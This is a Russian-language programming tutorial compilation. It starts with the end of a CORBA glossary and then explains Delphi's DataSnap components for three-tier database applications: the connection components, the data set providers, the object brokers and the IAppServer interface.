Interface pointer Указатель на интерфейс объекта. С его помощью клиент получает доступ к объекту.

Interface Repository Репозитарий интерфейсов. Архив, содержащий, написанные на IDL определения типов данных и интерфейсов.

Object reference Объектная ссылка. Служит для идентификации объекта в сети.

OMA Object Management Architecture. Составная часть технологии CORBA. Представляет собой базовую архитектуру, опубликованную в 1992 году. Определяет четыре категории объектов: CORBAservices, CORBAfacilities, объекты CORBAdomain и прикладные объекты. С момента разработки и до сегодняшнего дня в архитектуру были внесены лишь незначительные изменения.

OMG Object Management Group. Консорциум компаний образованный в апреле 1989 года, разработчик технологии и спецификаций CORBA. В состав данного консорциума входят около 800 компаний. Адрес сервера консорциума http://www.omg.org

ORB Object Request Broker (Брокер объектных запросов). Ядро архитектуры CORBA. Объектная шина для взаимодействия локальных и удаленных объектов. Отвечает за вызов удаленного объекта, поиск экземпляра объекта, его подготовку к получению и обработке запроса, передачу запроса и доставку результатов клиенту.

OTS Object Transaction Service. Сервис управления транзакциями CORBA.

POA (Portable Object Adapter) - Переносимый объектный адаптер. Представляет собой более позднюю спецификацию BOA, в отличие от BOA, позволяет переносить серверные компоненты архитектуры с одного ORB на другой.

PSS Persistent State Service. Новая реализация службы долговременного хранения объектов (persistent) в спецификации CORBA 3.0.

RPC Remote procedure call. Вызов удаленной процедуры. Реализует схему передачи сообщений, в соответствии с которой клиент передает сообщение с параметрами вызова по сети удаленной серверной процедуре, а результаты ее выполнения возвращается клиенту в другом сообщении.

Server Stub Серверный суррогат. Тоже, что и Skeleton.

Skeleton Server Stub. Серверный суррогат. Для вызова какой-либо функции клиент через клиентский суррогат обращается к серверному суррогату. Клиентский суррогат упаковывает аргументы функции в сообщение и передает их посредством RPC серверному суррогату. Серверный суррогат распаковывает полученное сообщение, вызывает требуемую функцию или метод объекта. Клиент и сервер могут работать в различных языковых и операционных средах, по этому на клиентский суррогат возложена обязанность преобразования аргументов, а на серверный суррогат преобразование результатов функций в универсальное, не зависящее от конкретной архитектуры представление.

UML Unified Modeling Language. Язык CORBA. Используется для описания и разработки распределенных программных систем с помощью специальных диаграмм.

UUID Универсальный уникальный идентификатор. Используется для идентификации интерфейсов.
Взято с http://atrussk.ru/delphi/


Распределённые приложения баз данных

Технология DataSnap (статья) New!
Сервер приложения (статья) New!
Клиент многозвенного распределенного приложения (статья) New!


Технология DataSnap (статья)

Технология DataSnap. Механизмы удаленного доступа

Как быть, если необходимо создать приложение, которое может с одинаковым успехом работать как в локальной сети, так и на удаленном компьютере.

Очевидно, что в этом случае модель доступа к данным должна быть расширена, т. к. наличие большого числа удаленных клиентов делает традиционные схемы создания приложений БД малоэффективными.

В этой главе мы рассмотрим модель распределенного приложения БД, которая называется многозвенной (multitiered), и, в частности, ее наиболее простой вариант — трехзвенное распределенное приложение. Тремя частями такого приложения являются:

собственно сервер базы данных;
сервер приложений (серверная часть приложения);
клиентская часть приложения.
Все они объединены в единое целое единым механизмом взаимодействия (транспортный уровень) и обработки данных (уровень бизнес-логики).

Компоненты и объекты Delphi, обеспечивающие разработку многозвенных приложений, объединены общим названием DataSnap.

Примечание

В предыдущих версиях Delphi (Delphi 4 и 5) эти компоненты объединялись под названием MIDAS (Multi-tier Distributed Applications Services— сервисы многозвенных распределенных приложений).

Палитра компонентов Delphi содержит специальную страницу DataSnap, на которой доступно большинство рассматриваемых в главах этой части компонентов. Однако при разработке многозвенных приложений нам понадобятся и многие другие компоненты, которым также уделено достаточное внимание.

Структура многозвенного приложения в Delphi

Многозвенная архитектура приложений баз данных вызвана к жизни необходимостью обрабатывать на стороне сервера запросы от большого числа удаленных клиентов. Казалось бы, с этой задачей вполне могут справиться и приложения клиент/сервер, основные элементы которых представлены в части III.

Однако в этом случае при большом числе клиентов вся вычислительная нагрузка ложится на сервер БД, который обладает довольно скудным набором средств для реализации сложной бизнес-логики (хранимые процедуры, триггеры, просмотры и т. д.). И разработчики вынуждены существенно усложнять программный код клиентского ПО, а это крайне нежелательно при наличии большого Числа удаленных клиентских компьютеров. Ведь с усложнением клиентского ПО возрастает вероятность ошибок и усложняется его обслуживание.

Многозвенная архитектура приложений БД призвана исправить перечисленные недостатки.

Итак, в рамках этой архитектуры "тонкие" клиенты представляют собой простейшие приложения, обеспечивающие лишь передачу данных, их локальное кэширование, представление средствами пользовательского интерфейса, редактирование и простейшую обработку.

Клиентские приложения обращаются не к серверу БД напрямую, а к специализированному ПО промежуточного слоя. Это может быть и одно звено (простейшая трехзвенная модель) и более сложная структура.

ПО промежуточного слоя называется сервером приложений, принимает запросы клиентов, обрабатывает их в соответствии с запрограммированными правилами бизнес-логики, при необходимости преобразует в форму, удобную для сервера БД и отправляет серверу.

Сервер БД выполняет полученные запросы и отправляет результаты серверу приложений, который адресует данные клиентам.

Таким образом, многозвенное приложение БД состоит из "тонких" клиентских приложений, обеспечивающих лишь передачу, представление, редактирование и простейшую обработку данных; одного или нескольких звеньев ПО промежуточного слоя (сервер приложений), которые могут функционировать как на одном компьютере, так и распределенно — в локальной сети; сервера БД (Oralce, Sybase, MS SQL, InterBase и т. д.), поддерживающего функционирование базы данных и обрабатывающего запросы.
Более простая трехзвенная модель содержит следующие элементы:

"тонкие" клиенты;
сервер приложений;
сервер БД.

Далее мы будем рассматривать именно трехзвенную модель. В среде разработки Delphi имеется набор инструментов и компонентов для создания клиентского ПО и ПО промежуточного слоя.

Сервер приложений взаимодействует с сервером БД, используя одну из технологий доступа к данным, реализованным в Delphi . Это технологии ADO, BDE, InterBase Express и dbExpress. Разработчик может выбрать наиболее подходящую, исходя из поставленной задачи и параметров сервера БД.

Удаленные клиентские приложения создаются с использованием специального набора компонентов, объединенных общим названием DataSnap. Эти компоненты инкапсулируют стандартные транспорты (DCOM, HTTP, сокеты) и обеспечивают соединение удаленного клиентского приложения с сервером приложения. Также компоненты DataSnap обеспечивают доступ клиента к функциям сервера приложений за счет использования интерфейса AppServer

Важную роль при разработке клиентских приложений играет компонент, инкапсулирующий клиентский набор данных. Его реализации также зависят от технологий доступа к данным .

Наряду с перечисленными выше преимуществами, наличие дополнительного звена — сервера приложений — дает некоторые дополнительные бонусы, которые могут быть весьма существенным подспорьем с точки зрения повышения надежности и эффективности системы.

Так как зачастую клиентские компьютеры — это достаточно слабые машины, реализация сложной бизнес-логики на сторону сервера позволяет существенно повысить быстродействие системы в целом. И не только за счет более мощной техники, но и за счет оптимизации выполнения однородных запросов пользователей.

Например, при чрезмерной загрузке сервера, сервер приложений может самостоятельно обрабатывать запросы пользователей (ставить их в очередь или отменять) без дополнительной загрузки сервера БД.

Наличие сервера приложений повышает безопасность системы, т. к. вы можете организовать здесь авторизацию пользователей, да и любые другие функции безопасности без прямого доступа к данным.

Кроме того, вы легко сможете использовать защищенные каналы передачи данных, например HTTPS.

Трехзвенное приложение в Delphi

Теперь рассмотрим составные части трехзвенного распределенного приложения в Delphi. Как говорилось выше, в Delphi целесообразно разрабатывать клиентскую часть трехзвенного приложения и ПО промежуточного слоя — сервер приложений.

Части трехзвенных приложений разрабатываются с использованием компонентов DataSnap, а также некоторых других специализированных компонентов, в основном обеспечивающих функционирование клиента. Для доступа к данным применяется одна из четырех технологий, реализованных в Delphi.

Примечание

Разработку трехзвенных приложений целесообразно вести, используя в среде разработки группу проектов вместо одиночных проектов. Для этого используется утилита Project Manager (меню View | Project Manager).

Для передачи данных между сервером приложений и клиентами используется интерфейс AppServer, предоставляемый удаленным модулем данных сервера приложений. Этот интерфейс используют компоненты-провайдеры TDataSetProvider на стороне сервера и компоненты TClientDataSet на стороне клиента.

Сервер приложений

Сервер приложений инкапсулирует большую часть бизнес-логики распределенного приложения и обеспечивает доступ клиентов к базе данных.

Основной частью сервера приложений является удаленный модуль данных.

Во-первых, подобно обычному модулю данных он является платформой для размещения невизуальных компонентов доступа к данным и компонентов-провайдеров. Размещенные на нем компоненты соединений, транзакций и компоненты, инкапсулирующие наборы данных, обеспечивают трехзвенное приложение связью с сервером БД. Это могут быть наборы компонентов для технологий ADO, BDE, InterBase Express, dbExpress.

Во вторых, удаленный модуль данных реализует основные функции сервера приложений на основе предоставления клиентам интерфейса IAppServer или его потомка. Для этого удаленный модуль данных должен содержать необходимое число компонентов-провайдеров TDataSetProvider. Эти компоненты передают пакеты данных клиентскому приложению, а точнее компонентам TdientDataSet, а также обеспечивают доступ к методам интерфейса.

В состав Delphi входят удаленные модули данных. Для их создания используйте страницы Multitier, WebSnap и WebServices Репозитория Delphi .

Remote Data Module — удаленный модуль данных, инкапсулирующий сервер Автоматизации. Используется для организации соединений через DCOM, HTTP, сокеты (см. гл. 21).
Transactioiial Data Module — удаленный модуль данных, инкапсулирующий сервер MTS (Microsoft Transaction Server).
SOAP Server Data Module — удаленный модуль данных, инкапсулирующий сервер SOAP (Simple Object Access Protocol).
WebSnap Data Module — удаленный модуль данных, использующий Web-службы и Web-браузер в качестве сервера.
Помимо удаленного модуля данных неотъемлемой частью сервера приложений являются компоненты-провайдеры TDataSetProvider. С каждым компонентом, инкапсулирующим набор данных, предназначенным для передачи клиенту, в модуле данных должен быть связан компонент-провайдер.

Клиентское приложение

Клиентское приложение в трехзвенной модели должно обладать лишь минимально необходимым набором функций, делегируя большинство операций по обработке данных серверу приложений.

В первую очередь удаленное клиентское приложение должно обеспечить соединение с сервером приложений. Для этого используются компоненты соединений DataSnap:

TDCOMConnection — использует DCOM;
TSocketconnection — использует сокеты Windows;
TWebConnection — использует HTTP.

Компоненты соединения DataSnap предоставляют интерфейс IAppServer, используемый компонентами-провайдерами на стороне сервера и компонентами TClientDataSet на стороне клиента для передачи пакетов данных.

Для работы с наборами данных используются компоненты TClientDataSet, работающие в режиме кэширования данных.

Для представления данных и создания пользовательского интерфейса в клиентском ПО применяются стандартные компоненты со страницы Data Controls Палитры компонентов.

Механизм удаленного доступа к данным DataSnap

Для передачи пакетов данных между компонентом-провайдером и клиентским набором данных (между клиентом и сервером) должен существовать некий транспортный канал, обеспечивающий физическую передачу данных. Для этого могут использоваться разнообразные транспортные протоколы, поддерживаемые операционной системой.

Различные типы соединений, позволяющие настроить транспорт и начать передачу и прием данных, инкапсулированы в нескольких компонентах DataSnap. Для создания соединения с тем или иным транспортным протоколом разработчику достаточно перенести соответствующий компонент на форму и правильно настроить несколько свойств. Ниже рассматриваются варианты настройки транспортных протоколов для компонентов, использующих DCOM, сокеты TCP/IP, http.

Компонент TDCOMConnection

Компонент TDCOMConnection предоставляет транспорт на основе технологии Distributed COM и применяется в основном для организации транспорта в рамках локальной сети.

Для настройки соединения DCOM в первую очередь необходимо задать имя компьютера, на котором функционирует сервер приложений. Для компонента TDCOMConnection это должен быть зарегистрированный сервер Автоматизации. Имя компьютера задается свойством

property ComputerName: string;

Если оно задано правильно, в списке свойства

property ServerName: string;

в Инспекторе объектов можно выбрать один из доступных серверов. При выборе сервера также автоматически заполняется свойство

property ServerGUID: string;

Причем для успешного соединения клиента с сервером приложений оба свойства должны быть заданы в обязательном порядке. Только имя сервера или только его GUID не обеспечат правильный доступ к удаленному объекту СОМ.

Открытие и закрытие соединения осуществляется свойством

property Connected: Boolean;

или методами

procedure Open/procedure Close;

соответственно.

Для организации передачи данных между клиентом и сервером компонент TDCOMConnection предоставляет интерфейс IAppServer

property AppServer: Variant;

который также может быть получен методом

function GetServer: lAppServer; override;

Свойство

property ObjectBroker: TCustomObjectBroker;

позволяет использовать экземпляр компонента TsimpleObjectBroker для получения списка доступных серверов по время выполнения (см. ниже).

Методы-обработчики компонента TDCOMConnection представлены в табл. 20.1.

property AfterConnect: TNotifyEvent; Вызывается после установления соединения

property AfterDisconnect: TNotifyEvent; Вызывается после разрыва соединения

property BeforeConnect: TNotifyEvent; Вызывается перед установлением соединения

property BeforeDisconnect: TNotifyEvent; Вызывается перед разрывом соединения

type TGetUsernameEvent = procedure ( Sender : TOb j ect ; var Username: string) of object;
property OnGetUsername : TGetUsernameEvent; Вызывается непосредственно перед появлением диалога удаленной авторизации пользователя. Для этого свойство LoginPrompt должно иметь значение True. Параметр Username может содержать имя пользователя по умолчанию, которое появится в диалоге

type TLoginEvent = procedure ( Sender: TOb j ect; Username, Password: string) of object;
property OnLogin: TLoginEvent; Вызывается после открытия соединения, если свойство LoginPrompt имеет значение True. Параметры Username и Password содержат имя пользователя и пароль, введенные при авторизации

Компонент TSocketConnection

Компонент TSocketConnection обеспечивает соединение клиента с сервером приложений за счет использования сокетов TCP/IP. Для успешного открытия соединения на стороне сервера должен работать сокет-сервер (приложение ScktSrvr.exe, рис. 20.4).

Для успешного соединения свойство

property Host: String; должно содержать имя компьютера сервера.

Дополнительно, свойство

property Address: String; должно содержать IP-адрес сервера.

Для открытия соединения должны быть заданы оба этих свойства.

Свойство
property Port: Integer;

устанавливает номер используемого порта. По умолчанию это порт 211, но разработчик волен изменить порт, например, для использования различными категориями пользователей или для создания защищенного канала.

После правильного выбора компьютера в списке свойства

property ServerName: string;

в Инспекторе объектов появляется перечень доступных серверов Автоматизации. И после выбора сервера свойство

property ServerGUID: string;

которое содержит имя компьютера GUID зарегистрированного сервера, задается автоматически, хотя его можно задать и вручную.

Метод

function GetServerList: OleVariant; virtual;

возвращает список зарегистрированных серверов Автоматизации. Открытие и закрытие соединения осуществляется свойством

property Connected: Boolean;

или методами

procedure Open;
procedure Close;

соответственно.

Канал сокета TCP/IP может быть зашифрован. Для этого используется свойство

property InterceptName: string;

содержащее программный идентификатор объекта СОМ, обеспечивающего шифрование/дешифрование данных в канале, и свойство

property InterceptGUID: string;

содержащее имя компьютера GUID этого объекта.

Этот объект СОМ перехватывает данные в канале и осуществляет их обработку, предусмотренную собственным программным кодом. Это может быть шифрование, сжатие, обработка шумов и т. д.

Примечание

Создание объекта СОМ, обеспечивающего дополнительную обработку данных в канале, ложится на плечи разработчика. Объект-перехватчик должен поддерживать стандартный интерфейс IDataintercept.

Естественно, на стороне сервера должен быть зарегистрирован объект СОМ, выполняющий обратную операцию. Для этого также используется сокет-сервер. Строка Interceptor на странице должна содержать имя компьютера GUID объекта-перехватчика СОМ.

function GetlnterceptorList: OleVariant; virtual;

возвращает список зарегистрированных на сервере объектов-перехватчиков.

Для организации передачи данных между клиентом и сервером компонент TSocketConnection предоставляет интерфейс IAppServer

property AppServer: Variant;

который также может быть получен методом

function GetServer: lAppServer; override;

Свойство

property ObjectBroker: TCustomObjectBroker;

позволяет использовать экземпляр компонента TSimpieObjectBroker для получения списка доступных серверов во время выполнения (см. ниже).

Методы-обработчики событий компонента TSocketConnection полностью совпадают с методами-обработчиками компонента TDCOMConnection

Компонент TWebConnection

Компонент TWebConnection предоставляет клиенту соединение на основе транспорта HTTP. Для работы компонента на клиентском компьютере должна быть зарегистрирована библиотека wininet.dll. Обычно это не требует специальных усилий, т. к. этот файл уже имеется в системной папке Windows, если на компьютере установлен Internet Explorer.

На компьютере сервера должен быть инсталлирован Internet Information Server версии не ниже 4.0 или Netscape Enterprise версии не ниже 3.6. Перечисленное ПО обеспечивает доступ компонента TWebConnection к динамической библиотеке HTTPsrvr.dll, которая также должна находиться на сервере.

Например, если файл HTTPsrvr.dll расположен в папке Scripts US 4.0 на Web-сервере www.someserver.com, то свойство

property URL: string;

должно содержать следующее значение:

http://someserver.com/scripts/httpsrvr.dll

Если URL задан верно и сервер настроен правильно, то в списке свойства

property ServerName: string;

в Инспекторе объектов появляется перечень зарегистрированных серверов

Приложений. Имя одного из них должно содержаться в свойстве ServerName.

После выбора имени сервера в свойстве

property ServerGUID: string;

автоматически появляется GUID сервера. Свойства

property UserName: string;
И
property Password: string;

при необходимости могут содержать имя и пароль пользователя, которые будут использованы при авторизации.

Свойство

property Proxy: string;

содержит имя используемого прокси-сервера.

В заголовок сообщений HTTP можно поместить имя приложения. Для этого используется свойство

property Agent: string;

Соединение открывается и закрывается при помощи свойства

property Connected: Boolean;

Аналогичные операции выполняют методы

procedure Open;
procedure Close;

Доступ к интерфейсу IAppServer предоставляет свойство

property AppServer: Variant;

или метод

function GetServer: IAppServer; override;

Список доступных соединению серверов приложений возвращает метод

function GetServerList: OleVariant; virtual;

Свойство

property ObjectBroker: TCustomObjectBroker;

позволяет использовать экземпляр компонента TSimpieObjectBroker для получения списка доступных серверов во время выполнения (см. ниже).

Методы-обработчики событий компонента TWebConnection полностью совпадают с методами-обработчиками компонента TDCOMConnection.

Провайдеры данных

Компонент-провайдер TDataSetProvider представляет собой мост между набором данных сервера приложений и клиентским набором данных. Он обеспечивает формирование и передачу пакетов данных клиентскому приложению и прием от него сделанных изменений.

Все необходимые операции компонент выполняет автоматически. Разработчику необходимо лишь разместить компонент TDataSetProvider и связать его с набором данных сервера приложений. Для этого предназначено свойство

property DataSet: TDataSet;

Если соединение в клиентском приложении настроено правильно (см. выше), ТО В списке выбора свойства ProviderName компонента TClientDataSet в Инспекторе объектов появляются имена всех компонентов-провайдеров сервера приложений. Если связать клиентский набор данных с компонентом-провайдером, а затем открыть его, в клиентский набор данных будут переданы записи из набора данных сервера приложений, указанного в свойстве DataSet компонента-провайдера TDataSetProvider.

Компонент также содержит свойства, помогающие настроить процесс обмена данными.

property ResolveToDataSet: Boolean; управляет передачей данных от клиента серверу БД. Если оно имеет значение True, все изменения передаются в набор данных сервера приложений, заданный свойством DataSet. Иначе изменения направляются напрямую серверу БД. Если сервер приложений не должен отображать сделанные клиентом изменения, то свойству ResolveToDataSet можно присвоить значение False, что ускорит работу приложения.

property Constraints: Boolean; управляет передачей ограничений серверного набора данных клиентскому. Если свойство имеет значение True, ограничения передаются.

property Exported: Boolean; позволяет использовать в клиентском наборе данных интерфейс IAppServer. Для этого свойство должно иметь значение True.

Параметры компонента-провайдера задаются свойством

type

TProviderOption = (poFetchBlobsOnDemand, poFetchDetailsOnDemand,

poIncFieldProps, poCascadeDeletes, poCascadeUpdates, poReadOnly, poAllowMultiRecordUpdates, poDisablelnserts, poDisableEdits, poDisableDeletes, poNoReset, poAutoRefresh, poPropogateChanges, poAllowCoinmandText, poRetainServerOrder);

TProviderOptions = set of TProviderOption;

Набор параметров свойства задается присвоением элементам значения True.

property Options: TProviderOptions;

poFetchBlobsOnDemand — включает передачу в клиентский набор данных значений полей типа BLOB. По умолчанию эта возможность, отключена для ускорения работы;

poFetchDetailsOnDemand — включает передачу в клиентский набор данных подчиненных записей для отношения "один-ко-многим". По умолчанию эта возможность отключена для ускорения работы;

poIncFieldProps — включает передачу в клиентский набор данных нескольких свойств для объектов полей: Alignment, DisplayLabel, DisplayWidth, Visible, DisplayFormat, EditFormat, MaxValue, MinValue, Currency, EditMask, DisplayValues;

poCascadeDeletes — включает автоматическое удаление подчиненных записей в отношении "один-ко-многим" на стороне сервера, если главная запись была удалена в клиентском наборе данных;

poCascadeUpdates — включает автоматическое обновление подчиненных записей в отношении "один-ко-многим" на стороне сервера, если главная запись была изменена в клиентском наборе данных;

poReadOnly — включает режим "только для чтения" для набора данных сервера;

poAllowMultiRecordUpdates — включает режим внесения изменений сразу в несколько записей одновременно. Иначе все записи изменяются последовательно, одна за одной;

poDisablelnserts — запрещает клиенту вносить в набор данных сервера новые записи;

poDisableEdits — запрещает клиенту вносить в набор данных сервера изменения;

poDisableDeletes — запрещает клиенту удалять записи в наборе данных сервера;

poNoReset — запрещает обновление набора данных сервера перед передачей записей клиенту (перед вызовом метода AS_GetReccrds интерфейса IAppServer);

poAutoRefresh — включает автоматическое обновление записей клиентского набора данных. По умолчанию эта возможность отключена для ускорения работы;

poPropogateChanges — если В методах-обработчиках BeforeUpdateRecord или AfterUpdateRecord клиентского набора данных были сделаны дополнительные изменения, то после их записи в наборе данных сервера, изменения снова направляются клиенту для обновления записи. Во включенном состоянии эта возможность позволяет полностью контролировать сохранение изменений на сервере;

poAllowCommandText — позволяет изменять текст запроса SQL, имена хранимых процедур или таблиц в компоненте набора данных на сервере приложений;

poRetainServerOrder — включает запрет на изменение порядка сортировки записей клиентом. Если этот параметр отключить, возможны ошибки отображения набора данных, проявляющиеся в появлении двойных записей.

Методы-обработчики компонента-провайдера данных представлены в табл. 20.2.

Методы-обработчики событий компонента TDataSetProvider

property Af terApplyUpdates: TRemoteEvent; Вызывается после сохранения изменений, переданных от клиента, в наборе данных сервера

property AfterExecute: TRemoteEvent; Вызывается после выполнения запроса SQL или хранимой процедуры на сервере

property AfterGetParams: TRemoteEvent; Вызывается после того, как компонент-провайдер сформировал набор параметров набора данных сервера для их передачи клиенту

property AfterGetRecords: TRemoteEvent; Вызывается после того, как компонент-провайдер сформировал пакет данных для передачи набора данных сервера клиенту

property AfterRowRequest: TRemoteEvent; Вызывается после обновления текущей записи клиента компонентом-провайдером

property AfterUpdateRecord: TAf terUpdateRecordEvent; Вызывается сразу после обновления единичной записи на сервере

property Bef oreApplyUpdates: TRemoteEvent; Вызывается перед сохранением изменений, переданных от клиента, в наборе данных сервера

property BeforeExecute: TRemoteEvent; Вызывается перед выполнением запроса SQL или хранимой процедуры на сервере

property BeforeGetParams: TRemoteEvent; Вызывается перед тем, как компонент-провайдер сформировал набор параметров набора данных сервера для их передачи клиенту

property BeforeGetRecords: TRemoteEvent; Вызывается перед тем, как компонент-провайдер сформировал пакет данных для передачи набора данных сервера клиенту

property BeforeRowRequest: TRemoteEvent; Вызывается перед обновлением текущей записи клиента компонентом-провайдером

property BeforeUpdateRecord: TBeforeUpdateRecordEvent; Вызывается непосредственно перед обновлением единичной записи на сервере

property OnDataRequest: TDataRequestEvent; Вызывается при обработке запроса на получение данных клиентом

property OnGetData: TProviderDataEvent; Вызывается после получения данных от набора данных сервера, но перед их отправкой клиенту

property OnGetDataSetProperties: TGetDSProps; Вызывается при создании структуры параметров набора данных сервера для их передачи клиенту

property OnGetTableName: TGetTableNameEvent; Вызывается при получении компонентом-провайдером имени таблицы, подлежащей обновлению

property OnUpdateData: TProviderDataEvent; Вызывается при сохранении изменений в наборе данных сервера

property OnUpdateError: TResolverErrorEvent; Вызывается при возникновении ошибки сохранения изменений в наборе данных сервера

Вспомогательные компоненты — брокеры соединений

В состав компонентов DataSnap входит ряд дополнительных компонентов, облегчающих работу с соединениями удаленных клиентов с сервером приложений. Рассмотрим их.

Компонент TSimpleObjectBroker

Компонент TSimpleObjectBroker инкапсулирует список серверов, доступных для клиентов данного многозвенного распределенного приложения. Список серверов создается на этапе разработки. При необходимости (отключение сервера, его перегрузка и т. д.) компонент соединения клиентского ПО может использовать один из запасных серверов из списка компонента TsimpleobjectBroker непосредственно во время выполнения.

Для этого необходимо заполнить список серверов компонента TSimpleobjectBroker и указать ссылку на него в свойстве objectBroker компонента соединения (см. выше). И тогда при "переоткрытии" соединения имя сервера будет запрашиваться из списка компонента TsimpleobjectBroker.

Список серверов задается свойством

property Servers: TServerCollection;

На этапе разработки список серверов заполняется специализированным редактором, который вызывается при щелчке на кнопке свойства в Инспекторе объектов.
Свойство servers представляет собой коллекцию объектов класса TServeritem. Этот класс имеет несколько свойств, позволяющих описать основные параметры сервера. При использовании в соединении значения этих свойств подставляются в соответствующие свойства компонента соединения.

Свойства класса TServeritem

property ComputerName: string; Имя компьютера, на котором функционирует сервер

property DisplayName: String; Содержит имя сервера для представления в списке серверов

property Enabled: Boolean; Управляет доступностью записи о сервере для выбора при подключении. При значении True компоненты соединений могут использовать данную запись списка для подключения

property HasFailed: Boolean; После неудачной попытки использовать данную запись списка при подключении свойству присваивается значение True и в дальнейшем эта запись не используется

property Port: Integer; Содержит номер порта, используемого при подключении к серверу

Помимо списка серверов компонент имеет лишь несколько вспомогательных свойств и методов.

function GetComputerForGUID(GUID: TGUID): string; override; возвращает имя компьютера, на котором зарегистрирован сервер с GUID, заданным параметром.

function GetComputerForProgID(const ProgID): string; override; возвращает имя компьютера, на котором зарегистрирован сервер с именем, заданным параметром Progio.

property LoadBalanced: Boolean; управляет выбором сервера из списка. При значении True запись о сервере выбирается случайным образом, иначе для соединения предлагается первая доступная запись о сервере.

Компонент TLocalConnection

Компонент TLocalConnection используется локально для получения доступа к существующим компонентам-провайдерам.

property Providers[const ProviderName: string]: TCustomProvider; содержит ссылки на все компоненты-провайдеры, размещенные с компонентом TLocalConnection на одной форме. Индексация в списке осуществляется по имени компонента-провайдера.

Общее число компонентов-провайдеров в списке возвращает свойство

property ProviderCount: Integer; Кроме этого, при помощи компонента TLocalConnection можно получить доступ к интерфейсу IAppServer локально. Для этого используется свойство

property AppServer: IAppServer;

или метод

function GetServer: IAppServer; override;

Компонент TSharedConnection

Если интерфейс IAppServer удаленного модуля данных имеет метод, возвращающий ссылку на аналогичный интерфейс другого удаленного модуля данных, то первый модуль называется главным, а второй — дочерним. Компонент TSharedConnection используется для соединения клиентского приложения с дочерним удаленным модулем данных сервера приложений.

Свойство
property ParentConnection: TDispatchConnection; должно содержать ссылку на компонент соединения с главным удаленным модулем данных сервера приложений. Дочерний удаленный модуль данных определяется свойством

property ChildName: string; которое должно содержать его имя. Если интерфейс главного удаленного модуля данных настроен правильно, то в списке выбора свойства в Инспекторе объектов появляются имена всех дочерних удаленных модулей данных.

Интерфейс IAppServer дочернего удаленного модуля данных возвращает свойство

property AppServer: Variant;

или метод

function GetServer: lAppServer; override;

Методы-обработчики компонента TSharedConnection унаследованы от класса предка TCustomConnection

Компонент TConnectionBroker

Компонент TConnectionBroker обеспечивает централизованное управление соединением клиентских наборов данных с сервером приложений. Для этого свойство connectionBroker клиентских наборов данных должно ссылаться на экземпляр компонента TConnectionBroker. Тогда для изменения соединения (например, при переходе с транспорта HTTP на сокеты TCP/IP) нет необходимости изменять значение свойства RemoteServer всех компонентов TClientDataSet, а достаточно изменить свойство

property Connection: TCustomRemoteServer;

компонента TConnectionBroker.

Доступ к интерфейсу IAppServer обеспечивает свойство

property AppServer: Variant;

или метод

function GetServer: lAppServer; override;


Сервер приложения (статья)

Сервер приложения

Многозвенные распределенные приложения обеспечивают эффективный доступ удаленных клиентов к базе данных, так как в них для управления доступом к данным применяется специализированное ПО промежуточного слоя. В наиболее распространенной схеме — трехзвенном приложении — это сервер приложения, который выполняет следующие функции:

· обеспечивает авторизацию пользователей;
· принимает и передает запросы пользователей и пакеты данных;
· регулирует доступ клиентских запросов к серверу БД, балансируя нагрузку сервера БД;
· может содержать часть бизнес-логики распределенного приложения, обеспечивая существование "тонких" клиентов.

Delphi обеспечивает разработку серверов приложений на основе использования ряда технологий:

· Web;
· Автоматизация;
· MTS;
· SOAP.

Структура сервера приложения

Итак, сервер приложения — это ПО промежуточного слоя трехзвенного распределенного приложения. Его основой является удаленный модуль данных. В Delphi предусмотрено использование удаленных модулей данных пяти типов (см. ниже).

Далее в этой главе мы детально рассмотрим вопросы использования удаленных модулей данных, инкапсулирующих функции серверов Автоматизации. Другие типы удаленных модулей данных рассматриваются в следующих частях книги.

Каждый удаленный модуль данных инкапсулирует интерфейс IAppServer, методы которого используются в механизме удаленного доступа клиентов к серверу БД.

Для обмена данными с сервером БД модуль данных может содержать некоторое количество компонентов доступа к данным (компонентов соединений и компонентов, инкапсулирующих набор данных).

Для обеспечения передачи данных клиентам удаленный модуль данных обязательно должен содержать необходимое количество компонентов TDataSetProvider, каждый из которых должен быть связан с соответствующим набором данных.

Внимание

Обмен данными сервера приложения с клиентами обеспечивает динамическая библиотека MIDAS.DLL, которая должна быть зарегистрирована на компьютере сервера приложения.

Для создания нового сервера приложения достаточно выполнить несколько простых операций.

1. Создать новый проект, выбрав в качестве типа проекта обычное приложение (пункт меню File | New | Application) и сохранить его.

2. В зависимости от используемой технологии, выбрать из Репозитория Delphi необходимый тип удаленного модуля данных (см. рис. 20.3). Удаленные модули данных располагаются на страницах Multitier, WebSnap и WebServices.

3. Настроить параметры создаваемого удаленного модуля данных (см. ниже).

4. Разместить в удаленном модуле данных компоненты доступа к данным и настроить их. Здесь разработчик может выбрать один из имеющихся

наборов компонентов (см. часть IV) в зависимости от используемого сервера БД и требуемых характеристик создаваемого приложения.

5. Разместить в удаленном модуле данных необходимое число компонентов TDataSetProvider и связать их с компонентами, инкапсулирующими наборы данных.

6. При необходимости создать для потомка интерфейса IAppServer, используемого в удаленном модуле данных, дополнительные методы. Для этого создается новая библиотека типов (см. низке).

7. Скомпилировать проект и создать исполняемый файл сервера приложения.

8. Зарегистрировать сервер приложения и при необходимости настроить дополнительное ПО.

Весь механизм удаленного доступа, инкапсулированный в удаленных модулях данных и компонентах-провайдерах, работает автоматически, без создания разработчиком дополнительного программного кода.

Далее в этой главе на простом примере рассматриваются все перечисленные этапы создания сервера приложения.

Интерфейс IAppServer

Интерфейс IAppServer является основной механизма удаленного доступа клиентских приложений к серверу приложения. Набор данных клиента использует его для общения с компонентом-провайдером на сервере приложения. Наборы данных клиента получают экземпляр IAppServer от компонента соединения в клиентском приложении.

При создании удаленных модулей данных (см. ниже) каждому такому модулю ставится в соответствие вновь создаваемый интерфейс, предком которого является интерфейс IAppServer.

Разработчик может добавить к новому интерфейсу собственные методы, которые, благодаря возможностям механизма удаленного доступа многозвенных приложений, становятся доступны приложению-клиенту.

Свойство
property AppServer: Variant;

в клиентском приложении имеется как в компонентах удаленного соединения, так и клиентском наборе данных.

По умолчанию интерфейс является несохраняющим состояние (stateless). Это означает, что вызовы методов интерфейса независимы и не привязаны

к предыдущему вызову. Поэтому интерфейс IAppServer не имеет свойств, которые бы хранили информацию о состоянии между вызовами.

Обычно разработчику ни к чему использовать методы интерфейса напрямую, однако его значение для многозвенных приложений трудно переоценить. И при детальной работе с механизмом удаленного доступа интерфейс понадобится так или иначе.

Методы интерфейса IAppServar

